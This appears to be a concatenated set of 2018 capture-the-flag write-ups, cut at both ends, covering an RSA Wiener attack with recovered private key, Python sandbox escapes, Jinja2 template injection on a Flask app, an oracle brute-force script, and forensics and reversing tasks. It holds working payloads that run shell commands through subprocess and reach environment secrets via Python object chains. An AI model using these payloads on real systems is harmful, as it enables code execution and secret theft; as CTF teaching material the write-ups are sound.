57595780582988797422250554495450258341283036312290233089677435648298040662780680840440367886540630330262961400339569961467848933132138886193931053170732881768402173651699826215256813839287157821765771634896183026173084615451076310999329120859080878365701402596570941770905755711526708704996817430012923885310126572767854017353205940605301573014555030099067727738540219598443066483590687404131524809345134371422575152698769519371943813733026109708642159828957941 c = 305357304207903396563769252433798942116307601421155386799392591523875547772911646596463903009990423488430360340024642675941752455429625701977714941340413671092668556558724798890298527900305625979817567613711275466463556061436226589272364057532769439646178423063839292884115912035826709340674104581566501467826782079168130132642114128193813051474106526430253192254354664739229317787919578462780984845602892238745777946945435746719940312122109575086522598667077632``` ```shellPS D:\Securite-Informatique\RSHack-master\RSHack-master> python rshack.py ~~~~~~~~~~~~~~~~~~~~~~~~~ RSHack v2.0 Zweisamkeit GNU GPL v3 ~~~~~~~~~~~~~~~~~~~~~~~~~ List of the available attacks: 1. Wiener Attack 2. Hastad Attack 3. Fermat Attack 4. Bleichenbacher Attack 5. Common Modulus Attack 6. Chosen Plaintext Attack List of the available tools: a. RSA Public Key parameters extraction b. RSA Private Key parameters extraction c. RSA Private Key construction (PEM) d. RSA Public Key construction (PEM) e. RSA Ciphertext Decipher f. RSA Ciphertext Encipher [*] What attack or tool do you want to carry out? 1 ***** Wiener Attack ***** [*] Arguments ([-h] -n modulus -e exponent): -n 744818955050534464823866087257532356968231824820271085207879949998948199709147121321290553099733152323288251591199926821010868081248668951049658913424473469563234265317502534369961636698778949885321284313747952124526309774208636874553139856631170172521493735303157992414728027248540362231668996541750186125327789044965306612074232604373780686285181122911537441192943073310204209086616936360770367059427862743272542535703406418700365566693954029683680217414854103 -e 57595780582988797422250554495450258341283036312290233089677435648298040662780680840440367886540630330262961400339569961467848933132138886193931053170732881768402173651699826215256813839287157821765771634896183026173084615451076310999329120859080878365701402596570941770905755711526708704996817430012923885310126572767854017353205940605301573014555030099067727738540219598443066483590687404131524809345134371422575152698769519371943813733026109708642159828957941 ~~~~~~~~~~~~~~~~~~~~~~~~~ Wiener Attack Zweisamkeit GNU GPL v3 License ~~~~~~~~~~~~~~~~~~~~~~~~~ [+] Private exponent: 108642162821084938181507878056324903120999504739411128372202198922197750954973 [+] Private key: -----BEGIN RSA PRIVATE KEY-----MIIDOwIBAAKBwE8bgV9pjqm0Wp+54kl24kVMFcfdrKWuEmvhTgT8F+Z59/xBiUrioz3Y2yCElUajAlXbIsVui5fc+yY3H0sBarDYk4+jcug/bF+tlmyDUNyWOO/x8hR51s3uT1FWTPMygRUJ+a2IPRB+gAlBQ9SvXr5ZVyrerwgU6wzHNNbWTELkV+EruJTs2z23aKpUh2W66lbS8uwZSXMJTprRUfWml36DWYWS34U9994IPwwjQrMrti3HDI4RoBobgAClro1l1wKBwAYeBRQaEP+OSyDPESSoP7m86Il5GkTRLkYfz3tXUmZEyN/PPPcFLbI9bGqt9uGIEbg+jo7MFsa8Yl5R6e5/jbp9kUbNo722s7Y/uMD6F+r0Lr9uNc+/2MqWUuFnvTOqcjLTKMWBv4Mlv9YGhtBry1kkj3mrzAbOTKEQtziIc7eQRDSGnkaIQdhD1Fdbu4FMtIjsdd+UEQMw4NcJrykkxJrI6jXoG8AMpOklmRD3ToH/fD4Vm3EYQrdyxFoDmEx69QIhAPAxSPmZeoCOyf4FGVj9Y/i/FHAzHkGrubolwuikSrvdAoGAdKCoou9Yvf3qyp5cUuAJ4aywD0fRaFVe1e0JgjNMLcsRU75yaXMnAKsFBGWJaQNFnRJ3Dzw6aM/jazO5f15eDBWiBJFrcbrkh0njiC4DvrTOMLTPGxQBfQqyZBVEvZY4Z8RM1imdcU1U/yiYqdLZcvaby7ks1+aA//Jfg10UyF0CQQCtpHv+zCS6Mbh3WNLdUk79GD8/VnICF95RTqj2xtI6Qd7oZMT5ddz4xQlXVjyl5BvrKgKfaKl4cJKDZKFxI3PDAiEA8DFI+Zl6gI7J/gUZWP1j+L8UcDMeQau5uiXC6KRKu90CIQDwMUj5mXqAjsn+BRlY/WP4vxRwMx5Bq7m6JcLopEq73QKBgB3qDdcyP9sGEaxNb/86HWYCMcmxK/b/2DwkSTE4VesfIFjImsbCfnxDBs65OX9kLVeQA9Goi951wzJmfUFOIZbcDy3YftAGBo8HAuarceWkjQZa/Cmi29VXCgYJbWK6cV3FfbdgwRo6xMFbCmG8r9bPQ/QvB6a49Hq43IOc0E5K-----END RSA PRIVATE KEY-----``` ```shellPS D:\Securite-Informatique\RSHack-master\RSHack-master> python rshack.py ~~~~~~~~~~~~~~~~~~~~~~~~~ RSHack v2.0 Zweisamkeit GNU GPL v3 ~~~~~~~~~~~~~~~~~~~~~~~~~ List of the available attacks: 1. Wiener Attack 2. Hastad Attack 3. Fermat Attack 4. Bleichenbacher Attack 5. Common Modulus Attack 6. Chosen Plaintext Attack List of the available tools: a. RSA Public Key parameters extraction b. RSA Private Key parameters extraction c. RSA Private Key construction (PEM) d. RSA Public Key construction (PEM) e. RSA Ciphertext Decipher f. RSA Ciphertext Encipher [*] What attack or tool do you want to carry out? e ***** RSA Decipher ***** [*] Argument ([-h] -n modulus -d private_exponent -c ciphertext): -n 744818955050534464823866087257532356968231824820271085207879949998948199709147121321290553099733152323288251591199926821010868081248668951049658913424473469563234265317502534369961636698778949885321284313747952124526309774208636874553139856631170172521493735303157992414728027248540362231668996541750186125327789044965306612074232604373780686285181122911537441192943073310204209086616936360770367059427862743272542535703406418700365566693954029683680217414854103 -d 108642162821084938181507878056324903120999504739411128372202198922197750954973 -c 305357304207903396563769252433798942116307601421155386799392591523875547772911646596463903009990423488430360340024642675941752455429625701977714941340413671092668556558724798890298527900305625979817567613711275466463556061436226589272364057532769439646178423063839292884115912035826709340674104581566501467826782079168130132642114128193813051474106526430253192254354664739229317787919578462780984845602892238745777946945435746719940312122109575086522598667077632 [+] The plaintext is: 194664885563228364493253577984786532516518879700404366133072425368037400553414800204901 [+] The interpreted plaintext: d4rk{r3p34t3ed_RsA_1s_f0r_n00bs}c0de```
<center><h1>Hackcon2018 %00Byte Team</h1></center> <h1>First You Get This Image !</h1> <h3>We Use Stegsolve And Get This Qrcodes Image</h3> <h3>Cut The Qrcodes And Decode It , You Will Get The Flag Every Image Has a Piece Of The Flag</h3> Done - 100 Point Done - 100 Point
# PySandbox 1 (misc, 121p, 52 solved) ```nc pwn1.chal.ctf.westerns.tokyo 30001``` In the challenge we get access to server which executes provided python code, as long as it passed the [sandbox](sandbox.py).The sandbox parses the code into AST and then blacklists function calls and attribute access.So we can for example execute `1+1` or `[1,2,3]` but we can't do `print(1)` or `list('abc')` or `[].len`. To make it a bit easier to debug locally, we can simply add `print(repr(node))` at the start of `check(node)` function.This way we will see how the expression we provide was parsed to AST. The trick here is to notice that the structure used to traverse the AST tree is not complete.It's visible when compared to the string documenting the tree structure. For example we can see: ``` | ListComp(expr elt, comprehension* generators) | SetComp(expr elt, comprehension* generators) | DictComp(expr key, expr value, comprehension* generators)``` But in the attributes to parse AST there is only: ```'ListComp': ['elt'],'SetComp': ['elt'],'DictComp': ['key', 'value'],``` This means that `ListComp` node has parameter `comprehension* generators` which is not checked by the sandbox! We can verify this simply by sending `[1 for x in [eval('1+1')]]` which shows: ```[<_ast.Expr object at 0x02938ED0>]<_ast.Expr object at 0x02938ED0><_ast.ListComp object at 0x02938EF0><_ast.Num object at 0x02938F10>``` As expected, the parser did not go into `generators` attribute of `ListComp`, and we could freely invoke code there.Here for some reason we assummed that `builtins` won't be available (like when you exploit template injections), so we used a classis attribute chain to find `builtins` reference and import function. We used chain: `().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']` So the final payload was: ```[1 for x in [eval("sys.stdout.write(repr([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']['__import__']('subprocess').check_output('cat flag', shell=True)))")]]``` And there was `flag` file in the directory: `TWCTF{go_to_next_challenge_running_on_port_30002}` # PySandbox 2 (misc, 126p, 48 solved) The second part of the challenge looks very similar, but the vector we used to attack before is patched here.The idea stays the same, we just need to find another vector, and we find one: ```| Subscript(expr value, slice slice, expr_context ctx)``` vs. ```'Subscript': ['value'],``` So the list subscript is not validated by the sandbox.This means now we can just do `[1,2][0 if eval('1+1') is not None else 1]` and we get: ```[<_ast.Expr object at 0x02648EF0>]<_ast.Expr object at 0x02648EF0><_ast.Subscript object at 0x02648F10><_ast.List object at 0x02648F30>[<_ast.Num object at 0x02648F50>, <_ast.Num object at 0x02648C70>]<_ast.Num object at 0x02648F50><_ast.Num object at 0x02648C70>1``` As expected, the check did not venture inside the subscript code, and again we can invoke anything there.We just re-use the same chain and grab the second flag with: ```[1,2][0 if eval("sys.stdout.write(repr([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']['__import__']('subprocess').check_output('cat flag', shell=True)))") is None else 1]``` And this gives us: `TWCTF{baby_sandb0x_escape_with_pythons}`
### TL;DRWe achieve cross-site-scripting by embedding javascript in our profile picture header. We report ourselves to the admin, which requests and parses their profile for the flag. This is submitted to us and ready for us to submit and claim our points.
# Learn_My_Flag Learn my flag is not a sort of challenge you usually see in a ctf. Running file on the downloaded file, gives this![file_hdf5](https://user-images.githubusercontent.com/42334661/44017454-000be95e-9ef6-11e8-84cb-ef1c070104e0.png) As soon as I saw that this is a hdf5 file(.h5 file), i knew this task has something to do with machine learning.If you haven't learnt anything about neural network, figuring out this task will be difficult.A hdf5 or .h5 file is a trained neural network model.Training means, it has all the nodes in the layers interconnected and the weights to each node has been assigned. In laymen terms, it is now fully capable of predicting(when an input is given in a proper way). I opened the file using keras library in python```python from keras import models model = models.load_model('learn_my_flag','r')``` Initially i thought it is a image classifier. So, sending an image as input would produce a sample output.### Note: Since this is a saved model, it is not necessary to run model.compile() if you want to know how a model is setup, here is a sample model and its predictionshttps://machinelearningmastery.com/how-to-make-classification-and-regression-predictions-for-deep-learning-models-in-keras/ I got a different error as output, saying the expected output size is 1. Then running model.summary() gave me the model layers and size expected. ![model_summary](https://user-images.githubusercontent.com/42334661/44017934-be3af662-9ef7-11e8-8a63-480ddfad1fcf.jpeg) Knowing the layers it was easy then 1) It expects a 1 dimensional array as an input. 2) It then passes through the dense and activation layers. 3) The last layer reshapes the output to (50,254). ![output_learnflag](https://user-images.githubusercontent.com/42334661/44018310-f62756c8-9ef8-11e8-91cd-49e5e0f703e7.jpeg)
View at original location: https://neg9.org/news/2018/8/14/openctf-2018-headon-writeup by Javantea Aug 12, 2018 HeadOn is an easy forensics challenge. HeadOn-ac8890852965d787f7591bc10add61bb01efb5eb contained blob which is a zip file. ```file blobblob: Zip archive data, made by v?[0x31e], extract using at least v2.0, last modified Sun Dec 12 05:18:44 2010, uncompressed size 10299, method=deflate``` ```unzip -l blobArchive: blob Length Date Time Name--------- ---------- ----- ---- 10299 08-04-2018 11:25 flag.pdf--------- ------- 10299 1 file``` ```unzip -v blobArchive: blob Length Method Size Cmpr Date Time CRC-32 Name-------- ------ ------- ---- ---------- ----- -------- ---- 10299 Defl:N 9575 7% 08-04-2018 11:25 bfeb2149 flag.pdf-------- ------- --- ------- 10299 9575 7% 1 file unzip blobArchive: blobfile #1: bad zipfile offset (local header sig): 0``` I tried pulling the deflated data out by hand using Unproprietary, but no such luck. Then I looked at the file in a hex editor. It looks kinda like this: ```hexdump -C blob |head00000000 00 00 00 00 14 00 00 00 08 00 34 5b 04 4d 49 21 |..........4[.MI!|00000010 eb bf 67 25 00 00 3b 28 00 00 08 00 1c 00 66 6c |..g%..;(......fl|00000020 61 67 2e 70 64 66 55 54 09 00 03 a3 ef 65 5b b0 |ag.pdfUT.....e[.|00000030 ef 65 5b 75 78 0b 00 01 04 00 00 00 00 04 00 00 |.e[ux...........|00000040 00 00 85 5a 75 58 54 5b d7 bf 0a 06 83 34 32 34 |...ZuXT[.....424|00000050 43 37 33 4c 30 8c 20 20 29 9d 82 94 e4 10 02 43 |C73L0. )......C|00000060 23 8d 84 80 80 a4 8a 74 4b 48 23 dd dd 21 2d 9d |#......tKH#..!-.|00000070 c2 48 49 89 f4 07 de fb c6 f7 de f7 7b be f3 3c |.HI.........{..<|00000080 fb 9c bd 62 af b5 f6 5a bf bd cf 1f 7b b3 aa 48 |...b...Z....{..H|00000090 4a f3 f2 f3 21 00 ac ad 99 ad 75 ad 15 ad 29 00 |J...!.....u...).|``` I noticed that the normal PK\x03\x04 header was missing, so I looked at infozip's documents and found that the first thing would be to try adding the first 4 bytes. That turned out to be the solution. ```unzip ../bloba.Archive: ../bloba. inflating: flag.pdfokular flag.pdfpdftotext flag.pdfcat flag.txtFlag{SDG7qJ734rIw6f3f90832r}``` The flag is visible in the pdf.
# Matrix LED (re, 462p, 3 solves) ```MatrixLED.7zhttps://youtu.be/C6cux2fM7fgUpdate(2018-09-01 20:05 UTC):The contents of flag.jpg was incorrect, therefore we show below a part of flag.jpg.00000000: d091 577d 5889 e647 24e3 a93b c1f8 112f ..W}X..G$..;.../00000010: 86d0 f06b e859 0728 2962 9b1d a7bf 74b8 ...k.Y.()b....t.=============================== snip ==============================0000d100: 761c 538c c367 0f9b 945c 3a3f ca6f 40db v.S..g...\:[email protected]: 3de9 1a4c beab =..L..And the flag is updated.The new flag isfrom hashlib import md5print 'TWCTF{{{}}}'.format(md5(open('flag.jpg', 'rb').read()).hexdigest())``` ## Overview In this task we got an AVR binary file (a stripped ELF) and a link to YouTube video. The movie showedan 8x8 LED matrix, blinking with various colors a couple of times per second. We also had a Python scriptthat showed communication between computer and board - basically sending random key and plaintext flag file. ## AVR Binary Reverse engineering the binary was tedious, but relatively straightforward - the flag was displayed onthe matrix in 16 byte blocks, using 8 distinct colours to represent 3 bits. There was also an 8-byte cheksumappended to each block. The flag blocks were encrypted before showing. We reverse engineered the encryption algorithm. It was similar to AES in structure, as it had roundsconsisting of four operations. There were 20 rounds though and each of these was somewhat modified fromreal AES. Three of them were short enough we transcribed them to Python pretty quickly: these were(a) XOR with key and some constants, (b) xoring state bytes, (c) permuting state bytes. The remaininground was too large to reverse, but fortunately it was a simple loop over each status byte, changingeach according to the same function - i.e. Sub from AES. The concrete implementation was convoluted, so weused `simavr` to simulate the function for each possible input and hardcoded the S-Box in the script. Each operation was reversible, so writing decryption algorithm was simple and the result is in [doit.py](doitp.py) and [aes.py](aes.py) ## Parsing video The only thing that remained was transcribing colors from the movie.We downloaded the movie and dumped all frames using ffmpeg. Then we wrote a script that for each frame and each LED position calculated average color and classified to one of 8 possibilities.Initially we wanted to probe just a single pixel or a small slice, but this didn't work very well, because the diodes had white/different colors inside.Eventually we decided to calculate average color of the whole LED (get all pixels in a rectangle, and then skip all grey ones) and then calculate Euclidean distance from reference colors: ```pythondef convert_color(color): red = (240, 110, 120, "red") green = (40, 240, 175, "green") blue = (85, 110, 240, "blue") cyan = (70, 215, 240, "cyan") yellow = (235, 230, 150, "yellow") orange = (230, 200, 130, "orange") white = (220, 220, 240, "white") purple = (230, 150, 240, "purple") colors = [red, green, blue, cyan, yellow, orange, white, purple] best_match = (255 * 3, "lol") for c in colors: diff = color_delta(c, color) if diff < best_match[0]: best_match = diff, c[3] return best_match[1] def color_delta(c1, c2): diff = 0 for i in range(3): diff += abs(c1[i] - c2[i]) return diff``` This was mostly correct, but yellows and oranges were often mixed up. We wrote a special case for it, using median of green channel to classify LED as one of these: ```pythondef handle_orange_and_yellow(pixels, column, row): size_x = 20 size_y = 20 greens = [] for delta_x in range(-size_x, size_x): for delta_y in range(-size_y, size_y): color = pixels[column + delta_x, row + delta_y] grey = (130, 130, 130) white = (255, 255, 255) if max(similar_color(grey, color)) < 20: continue if max(similar_color(white, color)) < 100: continue greens.append(color[1]) x = sorted(greens)[int(len(greens) * 0.75)] if x <= 230: return "orange" else: return "yellow"``` Full script in [here](shal.py) ## Decoding the flag There were still some errors though, but very little (less than a percent). We had to get perfect match though, otherwise the flag would be wrong. Thankfully, there was checksum appended to the raw blocks. Unfortunately, the code for its generation was very convoluted and long, so we didn't reverse it. Instead, we used `simavr` as a blackbox again. If the checksum did not match, we tried changing up to two yellows or oranges to the other color, and see if it helped. In all but four frames, this was enough, so we transcribed those manually and [decrypted](outfix.txt) The leds flipped about every 4 frames, so we had to filter out duplicates and potential half-frames.Finally we could use [reconstruct script](reconstruct.py) on the [1](out0-3000.txt), [2](out3000-6000.txt), [3](out6000-9000.txt), [4](out9000-12000.txt), [5](out12000-15000.txt), [6](outfix.txt) to recover the flag: `TWCTF{7a4f1c3ffe386f1c15bbbb67b43281b4}`
# SCS7 (crypto, 112p, 134 solved) In the challenge we get access to a blackbox encryption service. ```$ nc crypto.chal.ctf.westerns.tokyo 14791encrypted flag: LY7Gj9deCPzsXNpp0SQcyp9XmtvqUn0ddkWNGFX1AHTbT3mn5uYcu7RbAZ10TuxpYou can encrypt up to 100 messages.message: aaciphertext: wg9``` The service gives us ciphertext of the flag in base64-like encoding, and we can encrypt 100 messages per single connection.The approach here is pretty simple - we brute-force the flag, checking how much of the ciphertext matches the encrypted flag, and use this to guess the "next character". Judginig by the length of the ciphertext the flag should be 47 characters long, because only such input length gives us ciphertext with correct size.We also know the flag prefix `TWCTF{`, so now we only need to guess the next characters.Sending just `TWCTF{` with some random characters as padding gives us `9` matching ciphertext characters.If we now test all characters on the next position, we hit score `10` for character `6`, which means it's the next character. In some cases there are multiple characters giving the same result, and in such case we need to test all of them in the next step.There is a useful property here -> it seems the encryption is somehow monotonic, so if we test characters in ascii order, once the score goes "down" we can break, because we already passed all viable options. There is a special case when no character actaully raises the score, but in such case we just take all the values with highest score for the next round.After a moment we realised that charset seems to be only lowercase hex, so we stick to this to speed things up. ```pythonimport reimport stringimport sys from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match def count_matching(enc_flag, param): counter = 0 for i in range(len(param)): if enc_flag[i] == param[i]: counter += 1 else: return counter return counter def find_max_for_prefix(flag_len, flag_prefix, port, url): s = nc(url, port) initial = receive_until_match(s, "message: ") enc_flag = re.findall("encrypted flag: (.*)", initial)[0] print(initial) max_score = 0 maxes = [] for c in string.digits + "abcdef": # charset data = flag_prefix + c + ('0' * (flag_len - len(flag_prefix) - 2)) + '}' send(s, data) result = receive_until_match(s, "ciphertext: .*\n") result = re.findall("ciphertext: (.*)\n", result)[0] matched = count_matching(enc_flag, result) print(matched, flag_prefix + c) if matched == len(enc_flag): print("Found", data) sys.exit(0) if matched > max_score: max_score = matched maxes = [c] elif matched == max_score: maxes.append(c) elif matched < max_score: break # won't get better anymore receive_until_match(s, "message:") s.close() return max_score, maxes def main(): flag_len = 47 flag_prefix = "TWCTF" maxes = ['{'] current_score = 8 url = "crypto.chal.ctf.westerns.tokyo" port = 14791 while True: for c in maxes: flag_prefix_test = flag_prefix + c max_score, new_maxes = find_max_for_prefix(flag_len, flag_prefix_test, port, url) if (max_score > current_score) or ((max_score == current_score) and len(new_maxes) < 16): current_score = max_score maxes = new_maxes flag_prefix += c print(flag_prefix) break main()``` After a while this will return the flag: `TWCTF{67ced5346146c105075443add26fd7efd72763dd}`
# ▼▼▼SimpleAuth(Web:solved55/810 =42.3%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ## 【Information gathering】 `http://simpleauth.chal.ctf.westerns.tokyo/` ↓ ```
# ▼▼▼Shrine(Web:solved 58/810=7.1%)▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)** ```GET / HTTP/1.1Host: shrine.chal.ctf.westerns.tokyo``` ↓ ```import flaskimport os app = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/')def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>')def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)``` --- ## 【Information gathring】 ・@app.route('/shrine/`<path:shrine>`') ⇒The insertion point is URL after /shrine/ ・s = s.replace('(', '').replace(')', '') ⇒ `(` `)` will be erased ・blacklist = ['config', 'self'] ⇒ `config`、 `self` will be erased ・return flask.render_template_string(safe_jinja(shrine)) ⇒`Vulnerability is SSTI by Jinja2 (Server Side Template Injection)` --- ## 【Vulnerability is SSTI by Jinja2 (Server Side Template Injection)】 `Jinja2(http://jinja.pocoo.org/docs/2.10/templates/)` ↓ ・ `{{`something `}}` Means to print something ↓ ```GET /shrine/{{3*3}} HTTP/1.1Host: shrine.chal.ctf.westerns.tokyo``` ↓ ```9``` ↓ Calculated!! --- ## 【Goal】 ・app.config['FLAG'] = os.environ.pop('FLAG') --- ## 【If there is no WAF. . .】 Improved code ↓ ```import flaskimport os app = flask.Flask(__name__)app.config['FLAG'] = 'TWCTF{secret}'print("1")print(os.environ['PATH']) @app.route('/')def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>')def shrine(shrine): def safe_jinja(s): s = s.replace('(', ' (').replace(')', ')') blacklist = ['aaaa'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=5000)``` --- ### **1. If I can use `config`** ```GET /shrine/{{config}} ``` ↓ ```<Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'TWCTF{secret}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>``` ↓ `{{config.FLAG}}` ⇒TWCTF{secret} --- ### **2. If I can use `self`** `{{self}}` ⇒<TemplateReference None> `{{self.__dict__}}` ↓ ```{'_TemplateReference__context': <Context {'url_for': <function url_for at 0x7f67e7d0cb90>, 'g': <flask.g of 'main'>, 'request': <Request 'http://my_server/shrine/{{self.__dict__}}' [GET]>, 'namespace': <class 'jinja2.utils.Namespace'>, 'lipsum': <function generate_lorem_ipsum at 0x7f67e8dc2c08>, 'aaaa': None, 'range': <type 'xrange'>, 'session': <NullSession {}>, 'dict': <type 'dict'>, 'get_flashed_messages': <function get_flashed_messages at 0x7f67e7d0ccf8>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'config': <Config {'JSON_AS_ASCII': True, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_NAME': 'session', 'MAX_COOKIE_SIZE': 4093, 'SESSION_COOKIE_SAMESITE': None, 'PROPAGATE_EXCEPTIONS': None, 'ENV': 'production', 'DEBUG': True, 'SECRET_KEY': None, 'EXPLAIN_TEMPLATE_LOADING': False, 'MAX_CONTENT_LENGTH': None, 'APPLICATION_ROOT': '/', 'SERVER_NAME': None, 'FLAG': 'TWCTF{secret}', 'PREFERRED_URL_SCHEME': 'http', 'JSONIFY_PRETTYPRINT_REGULAR': False, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'TEMPLATES_AUTO_RELOAD': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'JSON_SORT_KEYS': True, 'JSONIFY_MIMETYPE': 'application/json', 'SESSION_COOKIE_HTTPONLY': True, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'TRAP_HTTP_EXCEPTIONS': False}>} of None>}``` ↓ 'FLAG': 'TWCTF{secret}' --- Also, there are many things that can be used. ↓ `url_for`, `g`, `request`, `namespace`, `lipsum`, `range`, `session`, `dict`, `get_flashed_messages`, `cycler`, `joiner`, `config` --- ### **3. If I can use `(` and `)`** `{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}` ↓ 'FLAG': 'TWCTF{secret}' --- Since `config`, `self` `(` and `)` can not be used, in order to get config information, it is necessary to access config from its upper global variable (`current_app` etc.). ↓ (for example) `__globals__['current_app'].config['FLAG']` `top.app.config['FLAG']` --- ## 【method 1.Discover current_app in url_for 】 `{{url_for}}` ↓```<function url_for at 0x7f5cc8cd1f28>``` --- `{{url_for.__globals__}}` ↓ ```{'__name__': 'flask.helpers', '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: c 2010 by the Pallets team.\n :license: BSD, see LICENSE for more details.\n', '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fe74fc90940>, '__spec__': ModuleSpec(name='flask.helpers', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fe74fc90940>, origin='/usr/local/lib/python3.7/site-packages/flask/helpers.py'), '__file__': '/usr/local/lib/python3.7/site-packages/flask/helpers.py', '__cached__': '/usr/local/lib/python3.7/site-packages/flask/__pycache__/helpers.cpython-37.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 